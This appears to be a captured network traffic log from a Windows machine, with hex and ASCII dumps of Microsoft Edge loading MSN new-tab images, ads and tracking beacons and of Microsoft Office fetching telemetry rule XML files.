2024-11-13 13:41:33 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1t99ka Last-Modified: Fri, 01 Nov 2024 18:01:15 GMT X-Source-Length: 20811 X-Datacenter: eastus X-ActivityId: f7ec68f9-61c4-4117-9b16-c229b5f431dd Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 20811 Cache-Control: public, max-age=188480 Expires: Fri, 15 Nov 2024 18:02:53 GMT Date: Wed, 13 Nov 2024 13:41:33 GMT Connection: close
2024-11-13 13:41:33 UTC	15866	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 0f dd a1 9b 00 00 0c 3e 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 10 20 80 80 94 d0 9b 20 22 25 80 94 10 5a 00 e9 45 b0 11 92 00 a1 c4 18 08 2a 76 74 51 c1 b5 8b 08 d8 d0 55 11 c5 0e 88 1d b1 b3 28 f6 be 58 50 50 d6 c5 82 5d 79 93 02 ba ee 2b df 9b 7c 33 f3 e7 9f 33 ff 39 73 ee dc 32 00 d0 4f f0 24 92 1c 54 13 80 5c 71 be 34 36 24 80 39 26 39 85 49 ea 02 28 a0 c2 df 50 40 e7 f1 f3 24 ec e8 e8 08 00 cb 40 ff f7 f2 ee 06 40 e4 fd 55 47 b9 d6 3f c7 ff 6b d1 12 08 f3 f8 00 20 d1 10 a7 09 f2 f8 b9 10 1f 00 00 af e2 4b a4 f9 00 10 e5 bc c5 94 7c 89 1c c3 0a 74 a4 30 40 88 17 ca 71 86 12 57 c9 71 9a 12 ef 51 d8 c4 c7 72 20 6e Data Ascii: PNGIHDR>iCCPICC ProfileHWXS[ "%ZE*vtQU(XPP]y+\|339s2O$T\q46$9&9I(P@$@@UG?k K\|t0@qWqQr n
2024-11-13 13:41:33 UTC	4945	IN	Data Raw: 3d f7 52 13 58 62 fb e9 21 5b 75 03 17 1c 54 6d 19 c9 a8 68 28 42 9d 72 18 59 2e 37 2a 0c 62 39 95 49 f4 d3 4f 3f dd 5c 95 c7 7f 5e 26 47 55 66 a3 ea 36 56 f1 51 09 75 c5 13 0a 63 96 51 3e 61 c6 4e 30 31 02 fb 25 ac ba ef f1 51 a3 42 71 d6 c4 60 4d d0 b4 22 a3 45 5b 46 7d 48 2d fb 24 ab b3 11 2c 12 46 4c d6 28 60 28 2f fd 89 ad 4e 3b ed b4 70 0a 37 30 5d 55 33 e8 8b ab f4 61 23 b0 4f 04 f6 4b 58 2e 2f c8 4a 25 4c 43 94 67 ef b3 5a 9d fd c0 11 18 09 68 2c 3c 41 d3 0e 86 ab 53 52 ba 3f f9 a6 85 af a7 7b ea 87 ad bc 55 63 45 55 e2 a9 dc ba b0 55 85 57 e3 55 5a 6e 04 0e 04 81 03 20 ac 72 d0 12 0e a4 66 5d c8 c1 22 50 bc b3 28 36 fa d0 96 53 95 ac 04 4a 67 05 4d 1e e7 99 a2 fa ae ef fa 2e 2f d3 58 05 2a c8 0a 49 b9 63 89 ac 13 61 49 46 40 5b 8b 77 92 17 17 ed Data Ascii: =RXb![uTmh(BrY.7b9IO?\^&GUf6VQucQ>aN01%QBq`M"E[F}H-$,FL(`(/N;p70]U3a#OKX./J%LCgZh,<ASR?{UcEUUWUZn rf]"P(6SJgM./XIcaIF@[w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	49905	3.168.2.84	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	1012	OUT	GET /b2?rn=1731511548693&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B7552435FBF62BD3EE147755E31634B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=18Ccefbd5f4bbe988ef659d1731505293; XID=18Ccefbd5f4bbe988ef659d1731505293
2024-11-13 13:41:33 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 13 Nov 2024 13:41:33 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 2599ee44597fddfb4e3056c8a078c954.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P2 X-Amz-Cf-Id: WA0podyUSyM9X1Kag1rs0IvOVEuAnmYrPZu6B6gkaH_f4FUtaTOtEg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	49906	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:34 UTC	550	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:34 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 325dc9c5-101e-0073-28c3-3418c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T134133Z-r178fb8d765mjvjchC1DFWhkyn00000000xg00000000b8ac Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-13 13:41:34 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49908	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:34 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2dd32481-401e-005b-4854-359c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134134Z-1749fc9bdbdgs9sshC1DFWt6ws000000014000000000bbwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:34 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49907	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:34 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:34 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: bad46039-901e-002a-55a8-347a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134134Z-r178fb8d7656shmjhC1DFWu5kw000000012g00000000bc57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:34 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49909	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:34 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:34 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:34 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6c65b011-001e-000b-6024-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134134Z-16547b76f7fdf69shC1DFWcpd00000000h4g000000007z82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:34 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	49910	23.96.180.189	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:34 UTC	1000	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2B7552435FBF62BD3EE147755E31634B&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6c1bbaf17cbe4454fd9ebd2f12996c09 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2B7552435FBF62BD3EE147755E31634B; _EDGE_S=F=1&SID=3321F4432267682D31E1E175235D69DF; _EDGE_V=1
2024-11-13 13:41:34 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2799 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132627-T700343875-C128000000002114789+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002114789+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 13 Nov 2024 13:41:33 GMT Connection: close
2024-11-13 13:41:34 UTC	2799	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 45 6c 20 4a 61 64 69 64 61 2c 20 4d 6f 72 6f 63 63 6f 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 50 6f 72 74 75 67 75 65 73 65 2b 43 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"El Jadida, Morocco\",\"cta\":\"https:\/\/www.bing.com\/search?q=Portuguese+C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	49915	104.117.247.123	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:34 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:34 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 05:02:30 GMT X-Datacenter: westus X-ActivityId: 8651f871-7a27-452c-9e2e-e0288183f9b2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKSh X-Source-Length: 116060 Content-Length: 116060 Cache-Control: public, max-age=228001 Expires: Sat, 16 Nov 2024 05:01:35 GMT Date: Wed, 13 Nov 2024 13:41:34 GMT Connection: close
2024-11-13 13:41:34 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-13 13:41:34 UTC	16384	IN	Data Raw: dc b4 ba 4e d6 06 fd 6c 02 14 c9 bd 96 e5 ba dc 8d e3 b6 e8 89 2d ff 00 1e a1 c1 f0 f5 4b 6f 66 97 b0 db f8 3d 97 8e a1 46 cf df 87 c9 30 97 99 73 e3 ad a6 d9 89 2d 07 84 89 54 4b bc ad 2e 32 68 26 e7 2b 09 92 b6 c1 44 62 f3 13 c8 49 e5 70 15 68 2e 21 a0 12 4d 00 12 49 e8 2a 8e e0 f6 37 07 e3 73 89 98 48 73 63 f9 4b 44 4e d3 c5 02 5d 15 30 7a 98 b7 c9 4d a0 c3 10 c4 08 87 0a cc 02 38 b4 89 f9 2d 69 76 8b 81 22 0d c7 99 ad 77 fe 97 4d f6 24 21 e2 76 10 d9 10 09 81 22 44 d4 ef 7e a8 8e 6b ac 5a 5a 65 a2 43 65 ad 07 f8 92 60 13 99 8b 20 ae c2 e0 e3 89 c4 c8 00 38 03 2d ea ec 46 08 a4 5f 8a c1 88 d0 3a 48 22 00 fd b1 94 5d 0d a6 ff 00 8e 39 9f 29 9e db 10 6d 5d 92 8c ed 92 0d b6 e6 fd 91 db 3e 09 dc 69 e6 2e b4 c1 9f 2c e5 70 27 95 92 0c 44 61 6c f9 8d 37 22 Data Ascii: Nl-Kof=F0s-TK.2h&+DbIph.!MI*7sHscKDN]0zM8-iv"wM$!v"D~kZZeCe` 8-F_:H"]9)m]>i.,p'Dal7"
2024-11-13 13:41:34 UTC	2373	IN	Data Raw: 71 04 03 17 3c 43 a3 de 4a b5 92 05 29 b8 b0 9b d7 f1 36 b6 70 86 6c 4d 40 37 13 b6 46 f5 b2 06 b8 31 61 4a a9 05 d7 33 73 7b 89 82 77 be fd a8 2d 92 49 8b 45 f8 1e 22 be 29 85 89 cc 67 b1 cc 4c e5 9d 10 52 31 52 e4 f5 a4 67 1e c2 66 db f2 04 c7 08 1c 63 c7 75 b8 6c d2 21 dd 83 39 8b 5f c5 2b aa 37 cc 5c e7 65 96 93 41 b6 16 dc 1b 91 02 a4 52 d3 45 ae 75 ab 5e 9d 9f 4b 21 e9 e1 c2 41 02 66 d2 4e c6 7a 57 a7 44 7c c4 89 9d fc 0d 66 ca 82 b5 b8 c4 fe 30 2d f4 eb c4 a9 43 5e 72 e3 ba 87 e6 88 6b 8b 9a 4c 13 73 5c 89 81 9d fa a2 34 10 09 13 6b 5b dd 14 5d a4 f9 dd 51 02 36 02 3b 02 3b 49 61 02 48 c8 8a 72 34 51 01 c3 18 45 c8 ce f5 da 0d 95 6b dc 2f 37 1e f8 ae 6d ba b8 e6 c4 10 3b b8 db 64 9a 61 b8 bc b6 c5 58 b5 8c d4 99 b0 a2 8d a4 71 3d b2 4d 61 c1 bf c7 Data Ascii: q<CJ)6plM@7F1aJ3s{w-IE")gLR1Rgfcul!9_+7\eAREu^K!AfNzWD\|f0-C^rkLs\4k[]Q6;;IaHr4QEk/7m;daXq=Ma
2024-11-13 13:41:34 UTC	16384	IN	Data Raw: 46 9c 26 12 d3 62 88 cd 3c 78 bc cc 6c 34 bb cc e8 98 c8 6e 76 0a 8a dc 38 5c 1d 33 12 d3 78 ea 20 0f 19 00 21 42 24 50 88 33 22 26 4d 85 4d 39 2a 7f 2a 8e 3e c2 05 68 b8 98 e6 60 73 85 a2 09 18 8c 5c 49 ac 0d f2 44 92 e2 31 3a c2 c2 4d 00 f7 44 3a 19 13 d0 fd d0 14 7f 90 89 2c 60 02 c4 8c 20 c5 ef 84 13 27 73 da 84 5a 41 c8 e5 6a 22 33 4d da 8e c2 d1 26 f5 20 01 02 4f 98 90 12 03 7b d2 0d 2d 97 0e d4 0b 10 6e 9a b3 17 ed fd 11 5c 1c e7 39 da 8e 33 69 c5 25 c6 82 06 2b 92 07 82 0d a6 fe c2 2b 60 c5 39 e7 de a8 9d 32 08 22 62 b6 35 1e 05 57 19 36 98 ca c0 5b 2b 0f 15 41 83 30 38 1b 84 42 81 29 a0 c4 c0 ac 0b 89 ec af 3a 26 00 41 93 7b 46 dc d2 10 83 69 6b 2c 5a 5b 11 70 6d 36 33 c8 f5 5b 62 45 eb d8 3b d0 59 f7 f4 4f 33 33 73 6b 84 ae c3 fb 4b 88 dc 88 e1 Data Ascii: F&b<xl4nv8\3x !B$P3"&MM9**>h`s\ID1:MD:,` 'sZAj"3M& O{-n\93i%++`92"b5W6[+A08B):&A{Fik,Z[pm63[bE;YO33skK
2024-11-13 13:41:34 UTC	16384	IN	Data Raw: 64 2b 84 c9 91 d1 dd 78 da bd 60 71 5d 2f 86 4b 48 3f 93 7b 63 a8 db ad d5 73 44 cd 49 e7 3c 72 3e 25 5d b3 a7 3a 29 22 e0 9e 63 f8 9c ed b8 94 3c 1f 4f 97 e9 d8 ba 5f 0a e6 00 39 91 97 23 97 3e c4 bf 0f f2 b9 81 43 15 e8 46 71 d1 36 69 cf c3 1c bc 3d f2 e0 b2 23 a4 78 70 db dd 94 ff 00 86 6d 06 e6 9d 47 43 9f f4 d9 2f c3 34 11 d3 28 e9 d0 f4 b2 6c d2 0c 11 ef df 87 35 6f 6e 9e fd 8a 29 b8 33 8b 7b ec 3e e1 2e 11 6b 4e fd 7e be 1d 15 44 7a e5 d7 87 d0 e6 32 c8 ad f9 1b 6d f4 28 d8 0e c7 e6 ae 03 7e 82 79 7d c7 b9 41 1e d7 e0 3b 7d d0 ab ef 8f e8 a4 60 8b 5a d7 fa 75 1e 23 aa 4c 1d 3d ec 7e c7 b5 00 ae b7 17 d9 3e 18 f7 ee fe ee b2 29 d9 ef df 62 a8 d6 9a 56 d3 d8 b6 68 91 60 27 ec 80 c1 e6 0f 40 3e a8 d8 88 9a d8 81 da a1 e2 b7 bf 7c 16 cf be 1f 70 a0 9c Data Ascii: d+x`q]/KH?{csDI<r>%]:)"c<O_9#>CFq6i=#xpmGC/4(l5on)3{>.kN~Dz2m(~y}A;}`Zu#L=~>)bVh`'@>\|p
